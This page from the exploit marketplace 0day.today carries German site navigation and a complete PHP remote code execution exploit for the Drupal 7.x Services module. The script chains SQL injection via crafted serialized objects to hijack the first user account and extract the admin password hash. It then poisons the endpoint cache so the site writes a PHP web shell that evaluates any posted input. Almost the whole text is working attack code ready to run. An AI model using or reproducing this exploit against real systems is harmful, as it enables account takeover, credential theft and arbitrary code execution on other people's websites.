0day.today - Größte Exploit-Datenbank der Welt.
![](/img/logo_green.jpg)
Wir benutzen eine Hauptdomain DOMAIN_LINK
Wenn Du den Exploit kaufen, oder für einen Service bezahlen möchtest, musst Du Gold kaufen. Wir wollen nicht, dass Du unsere Seite als ein Werkzeug für Aktivitäten wie Hacking verwendest. Illegale Aktionen, die andere Benutzer oder Webseiten betreffen, für die Du keine Zugriffsrechte hast, führen dazu, dass der Account gebannt und alle Daten von diesem unwiderruflich gelöscht werden.
Die Administratoren dieser Seite benutzen nur die offiziellen Kontaktdaten. Achte auf Betrüger!
![We DO NOT use Telegram or any messengers / social networks!](/img/no_telegram_big.png)
Please, beware of scammers!
- Lies [ Vereinbarung ]
- Lies [ Senden ] Regeln
- Besuche [ FAQ ] page
- [ Registrieren ] Profil
- Bekommen [ GOLD ]
- Wenn Du möchtest [ Verkaufen ]
- Wenn Du möchtest [ Kaufen ]
- Wenn Du vergessen hast [ Account ]
- Fragen [ [email protected] ]
- Anmeldungsseite
- Registrierungsseite
- Seite für Accountwiederherstellung
- FAQ Seite
- Kontakt
- Regeln für Veröffentlichungen
- Vereinbarungsseite
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Drupal 7.x Module Services - Remote Code Execution Exploit
Autor
Risiko
![](/img/risk/critlow_4.gif)
Security Risk Critical
]0day-ID
Kategorie
Datum hinzufügen
Betriebssystem
# Exploit Title: Drupal 7.x Services Module Remote Code Execution # Vendor Homepage: https://www.drupal.org/project/services # Exploit Author: Charles FOL # Contact: https://twitter.com/ambionics # Website: https://www.ambionics.io/blog/drupal-services-module-rce #!/usr/bin/php <?php # Drupal Services Module Remote Code Execution Exploit # https://www.ambionics.io/blog/drupal-services-module-rce # cf # # Three stages: # 1. Use the SQL Injection to get the contents of the cache for current endpoint # along with admin credentials and hash # 2. Alter the cache to allow us to write a file and do so # 3. Restore the cache # # Initialization error_reporting(E_ALL); define('QID', 'anything'); define('TYPE_PHP', 'application/vnd.php.serialized'); define('TYPE_JSON', 'application/json'); define('CONTROLLER', 'user'); define('ACTION', 'login'); $url = 'http://vmweb.lan/drupal-7.54'; $endpoint_path = '/rest_endpoint'; $endpoint = 'rest_endpoint'; $file = [ 'filename' => 'dixuSOspsOUU.php', 'data' => '<?php eval(file_get_contents(\'php://input\')); ?>' ]; $browser = new Browser($url . $endpoint_path); # Stage 1: SQL Injection class DatabaseCondition { protected $conditions = [ "#conjunction" => "AND" ]; protected $arguments = []; protected $changed = false; protected $queryPlaceholderIdentifier = null; public $stringVersion = null; public function __construct($stringVersion=null) { $this->stringVersion = $stringVersion; if(!isset($stringVersion)) { $this->changed = true; $this->stringVersion = null; } } } class SelectQueryExtender { # Contains a DatabaseCondition object instead of a SelectQueryInterface # so that $query->compile() exists and (string) $query is controlled by us. protected $query = null; protected $uniqueIdentifier = QID; protected $connection; protected $placeholder = 0; public function __construct($sql) { $this->query = new DatabaseCondition($sql); } } $cache_id = "services:$endpoint:resources"; $sql_cache = "SELECT data FROM {cache} WHERE cid='$cache_id'"; $password_hash = '$S$D2NH.6IZNb1vbZEV1F0S9fqIz3A0Y1xueKznB8vWrMsnV/nrTpnd'; # Take first user but with a custom password # Store the original password hash in signature_format, and endpoint cache # in signature $query = "0x3a) UNION SELECT ux.uid AS uid, " . "ux.name AS name, '$password_hash' AS pass, " . "ux.mail AS mail, ux.theme AS theme, ($sql_cache) AS signature, " . "ux.pass AS signature_format, ux.created AS created, " . "ux.access AS access, ux.login AS login, ux.status AS status, " . "ux.timezone AS timezone, ux.language AS language, ux.picture " . "AS picture, ux.init AS init, ux.data AS data FROM {users} ux " . "WHERE ux.uid<>(0" ; $query = new SelectQueryExtender($query); $data = ['username' => $query, 'password' => 'ouvreboite']; $data = serialize($data); $json = $browser->post(TYPE_PHP, $data); # If this worked, the rest will as well if(!isset($json->user)) { print_r($json); e("Failed to login with fake password"); } # Store session and user data $session = [ 'session_name' => $json->session_name, 'session_id' => $json->sessid, 'token' => $json->token ]; store('session', $session); $user = $json->user; # Unserialize the cached value # Note: Drupal websites admins, this is your opportunity to fight back :) $cache = unserialize($user->signature); # Reassign fields $user->pass = $user->signature_format; unset($user->signature); unset($user->signature_format); store('user', $user); if($cache === false) { e("Unable to obtains endpoint's cache value"); } x("Cache contains " . sizeof($cache) . " entries"); # Stage 2: Change endpoint's behaviour to write a shell class DrupalCacheArray { # Cache ID protected $cid = "services:endpoint_name:resources"; # Name of the table to fetch data from. # Can also be used to SQL inject in DrupalDatabaseCache::getMultiple() protected $bin = 'cache'; protected $keysToPersist = []; protected $storage = []; function __construct($storage, $endpoint, $controller, $action) { $settings = [ 'services' => ['resource_api_version' => '1.0'] ]; $this->cid = "services:$endpoint:resources"; # If no endpoint is given, just reset the original values if(isset($controller)) { $storage[$controller]['actions'][$action] = [ 'help' => 'Writes data to a file', # Callback function 'callback' => 'file_put_contents', # This one does not accept "true" as Drupal does, # so we just go for a tautology 'access callback' => 'is_string', 'access arguments' => ['a string'], # Arguments given through POST 'args' => [ 0 => [ 'name' => 'filename', 'type' => 'string', 'description' => 'Path to the file', 'source' => ['data' => 'filename'], 'optional' => false, ], 1 => [ 'name' => 'data', 'type' => 'string', 'description' => 'The data to write', 'source' => ['data' => 'data'], 'optional' => false, ], ], 'file' => [ 'type' => 'inc', 'module' => 'services', 'name' => 'resources/user_resource', ], 'endpoint' => $settings ]; $storage[$controller]['endpoint']['actions'] += [ $action => [ 'enabled' => 1, 'settings' => $settings ] ]; } $this->storage = $storage; $this->keysToPersist = array_fill_keys(array_keys($storage), true); } } class ThemeRegistry Extends DrupalCacheArray { protected $persistable; protected $completeRegistry; } cache_poison($endpoint, $cache); # Write the file $json = (array) $browser->post(TYPE_JSON, json_encode($file)); # Stage 3: Restore endpoint's behaviour cache_reset($endpoint, $cache); if(!(isset($json[0]) && $json[0] === strlen($file['data']))) { e("Failed to write file."); } $file_url = $url . '/' . $file['filename']; x("File written: $file_url"); # HTTP Browser class Browser { private $url; private $controller = CONTROLLER; private $action = ACTION; function __construct($url) { $this->url = $url; } function post($type, $data) { $headers = [ "Accept: " . TYPE_JSON, "Content-Type: $type", "Content-Length: " . strlen($data) ]; $url = $this->url . '/' . $this->controller . '/' . $this->action; $s = curl_init(); curl_setopt($s, CURLOPT_URL, $url); curl_setopt($s, CURLOPT_HTTPHEADER, $headers); curl_setopt($s, CURLOPT_POST, 1); curl_setopt($s, CURLOPT_POSTFIELDS, $data); curl_setopt($s, CURLOPT_RETURNTRANSFER, true); curl_setopt($s, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($s, CURLOPT_SSL_VERIFYPEER, 0); $output = curl_exec($s); $error = curl_error($s); curl_close($s); if($error) { e("cURL: $error"); } return json_decode($output); } } # Cache function cache_poison($endpoint, $cache) { $tr = new ThemeRegistry($cache, $endpoint, CONTROLLER, ACTION); cache_edit($tr); } function cache_reset($endpoint, $cache) { $tr = new ThemeRegistry($cache, $endpoint, null, null); cache_edit($tr); } function cache_edit($tr) { global $browser; $data = serialize([$tr]); $json = $browser->post(TYPE_PHP, $data); } # Utils function x($message) { print("$message\n"); } function e($message) { x($message); exit(1); } function store($name, $data) { $filename = "$name.json"; file_put_contents($filename, json_encode($data, JSON_PRETTY_PRINT)); x("Stored $name information in $filename"); } # 0day.today [2024-07-02] #